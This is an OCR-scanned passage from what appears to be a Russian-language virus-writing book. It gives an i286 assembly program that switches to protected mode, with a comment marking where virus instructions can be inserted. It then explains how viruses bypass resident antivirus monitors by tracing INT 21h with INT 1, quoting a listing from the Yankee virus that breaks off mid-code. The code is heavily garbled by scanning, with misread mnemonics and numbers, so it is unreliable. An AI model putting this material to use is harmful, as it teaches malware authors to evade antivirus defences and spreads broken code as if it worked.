Данная программа делает следующее:
- создает таблицы GDT и LDT, используя текущие значения
CS.DS.SS
- запрещает все прерывания, открывает линию А20
для доступа к RAM>1 Мбайт
- переводит процессор в защищенный режим
- в первый символ строки qw заносит символ L
- выходит в реальный режим
- разрешает прерывания, закрывает А20 -т
- выводит на экран строку qw ("Light General")
- выход в DOS
.286
.model tiny
.code
org 100h
Определения для защищенного режима работы программы
;Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0
desc_struc ENDS
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob
DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob
CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b
STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob
;Размеры сегментов (реальные размеры на единицу больше)
CSEG SIZE=65535
DSEG_SIZE=65535
STACK_SIZE=65535
[Смещения используемых дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)
;Константы значений портов ?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:
.Инициализируем необходимые данные для перехода
;в защищенный режим
call init_protected_mode
[Переходим в защищенный режим
call set_protected_mode
;Теперь компьютер работает в защищенном режиме!
;Так как таблица прерываний реального режима не может быть
использована в защищенном, прерывания запрещены!
;Именно тут можно вставить инструкции, нужные вирусу
.Возвращаемся в реальный режим
call set_real_mode
[Печатаем сообщение "Light General"
mov ah,09h
lea dx.qw
int 21 h
;Выходим в DOS
mov ax,4COOh
int 21 h
[Макрокоманда для установки адреса для дескриптора
;в глобальной таблице дескрипторов GDT.
;На входе регистры DLAX должны содержать
.абсолютный адрес сегмента
setgdtentry MACRO
mov [desc_struc.base_l][bx],ax
mov [desc_struc.base_h][bx],dl
ENDM
•<
; Процедура инициализации необходимых данных
.для перехода в защищенный режим
init_protected_mode PROC
вычисляем абсолютный адрес для сегмента данных
;в соответствии со значением регистра DS
mov ax.ds
mov dl.ah
shr dl,4
shi ax,4
;Устанавливаем адрес сегмента данных
;в глобальной таблице дескрипторов
mov bx, offset gdt_ds
setgdtentry
;Вычисляем абсолютный адрес для сегмента GDT: прибавляем
;к уже вычисленному абсолютному адресу сегмента данных
;смещение в нем таблицы дескрипторов
add ax,offset gdtr
adc dl.0
Останавливаем адрес сегмента GDT
;в глобальной таблице дескрипторов
mov bx.offset gdt_gdt
setgdtentry
;Вычисляем абсолютный адрес для сегмента кода
;в соответствии со значением регистра CS
mov ax,cs
mov dl.ah
shr dl,4
shi ax,4
.Устанавливаем адрес сегмента кода
;в глобальной таблице дескрипторов
mov bx, offset gdt_cs
setgdtentry
[Вычисляем абсолютный адрес для сегмента стека
;в соответствии со значением регистра SS
mov ax.ss
mov dl.ah
shr dl,4
shi ax,4
Останавливаем адрес сегмента стека
;в глобальной таблице дескрипторов
mov bx,offset gdt_ss
setgdtentry
Перехватываем рестарт. Так как процессор i286 (а эта программа
[рассчитана именно на такой процессор) не имеет возможности
;возврата в реальный режим из защищенного, возврат в реальный
режим будем производить следующим образом: перехватим рестарт,
.сгенерируем CPU Reset, после которого получим управление, когда
Процессор будет находится уже в реальном режиме. На процессоре
;i386 возврат в реальный режим происходит
[значительно проще и "естественнее".
push ds
mov ax,40h
mov ds,ax
mov word ptr ds:[0067h], offset shutdown_return
mov word ptr ds:[0069h],cs
pop ds
[Запрещаем маскируемые прерывания
cli
in al,INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT,al
[Запрещаем немаскируемые прерывания. Данная последовательность
;команд не запрещает "незапрещаемые" прерывания в процессоре
[(этого сделать по определению нельзя), а "не пускает" сигнал
[немаскируемого прерывания к процессору
mov al,8Fh
out CMOS_PORT,al
jmp $+2
mov al,5
out CMOS_PORT+1,al
ret
init_protected_mode ENDP
[Подпрограмма, переводящая процессор в защищенный режим
set_protected_mode PROC
.Открываем адресную линию А20 для доступа свыше 1Мбайт.
;При закрытой линии адресное пространство
["зацикливается" в пределах 1Мбайт
call enable_a20
.Сохраняем значение регистра SS для реального режима
mov real_ss,ss
[Переводим компилятор Turbo Assembler в улучшенный режим.
[IDEAL - это не команда и не оператор, это директива, влияющая
[только на интерпретацию дальнейших строк листинга
ideal
р286
[Загружаем регистр глобальной таблицы дескрипторов GDTR
Igdt [QWORD gdt_gdt] ;db OFh,01h,16h dw offset gdt_gdt
[Переводим процессор в защищенный режим
mov ax,0001h
Imsw ax ;db OFh,01h,FOh
[Переводим компилятор Turbo Assembler назад в режим MASM
masm
.286
[Производим длинный переход для того,
.чтобы очистить внутреннюю очередь
.команд процессора
jmp far flush
db OEAh
dw offset flush
dw CS_DESCR
flush:
Останавливаем в регистр SS селектор сегмента стека
mov ax,SS_DESCR
mov ss.ax
;Устанавливаем в регистр DS селектор сегмента данных
mov ax,DS_DESCR
mov ds.ax
.Записываем в строку qw символ "L" и выходим из подпрограммы
mov byte ptr ds: [off set qw+2],"L"
ret
set_protected_mode ENDP
Подпрограмма, возвращающая процессор в реальный режим
set_real_mode PROC
[Сохраняем значение регистра SP для реального режима
mov real_sp,sp
.Выполняем CPU Reset (рестарт процессора)
mov al,SHUT_DOWN
out STATUS_PORT,al
;Ждем, пока процессор перезапустится
wait_reset:
hit
jmp wait_reset
;C этого места программа выполняется после перезапуска процессора
shutdown_return:
;Устанавливаем регистр DS в соответствии с регистром CS
push cs
pop ds
восстанавливаем указатели на стек
;по ранее сохраненным значениям
mov ss,real_ss
mov sp,real_sp
[Закрываем адресную линию А20
call disable_a20
.Разрешаем немаскируемые прерывания
mov ax.OOOdh
out CMOS_PORT,al
[Разрешаем маскируемые прерывания
in al,INT-MASK_PORT
and al,0
out INT_MASK_PORT,al
sti
ret
set_real_mode EN DP
[Процедура, открывающая адресную линию А20. После открытия
[адресной линии программам будет доступна память свыше 1Мбайт
enable_a20 PROC
mov al,A20_PORT
out STATUS_PORT,al
mov al,A20_ON
out KBD_PORT_A.al
ret
enable_a20 ENDP
[Процедура, закрывающая адресную линию А20. После закрытия
[адресной линии программам будет недоступна память свыше 1Мбайт.
[Адресное пространство будет "зацикленным" в пределах 1Мбайт
disable_a20 PROC
mov al.A20_PORT
out STATUS_PORT,al
mov al,A20_OFF
out KBD_PORT_A,al
ret
disable_a20 ENDP
[Здесь сохраняется адрес стека
real_sp dw ?
real_ss dw ?
[Эта строка выводится на экран после работы программы
[Символ "?" заменяется на "L" в защищенном режиме
qw db 13,10,"?ight General",13,10,"$"
;Глобальная таблица дескрипторов. Нулевой дескриптор
обязательно должен быть "пустым"
GDT_BEG=$
gdtr label WORD
gdt_0 desc_struc <0,0,0,0,0>
gdt_gdt desc_struc <GDT_SIZE-1„,DATA_ACC,0>
gdt_ds desc_struc <DSEG_SIZE-1,„DATA_ACC,0>
gdt_cs desc_struc <CSEG_SIZE-1„,CODE_ACC,0>
gdt_ss desc_struc <STACK_SIZE-1,„DATA_ACC,0>
GDT_SIZE=($-GDT_BEG)
END start
Обход резидентных антивирусных мониторов
Обычно все программы используют сервис DOS так:
mov ah,...
int 21 h
По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):
Разумеется, среди этих многочисленных обработчиков может "затесаться"
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,...
pushf
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.
Определение адреса оригинального обработчика DOS
Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next - помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET - программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
pop ax
or ax,0100h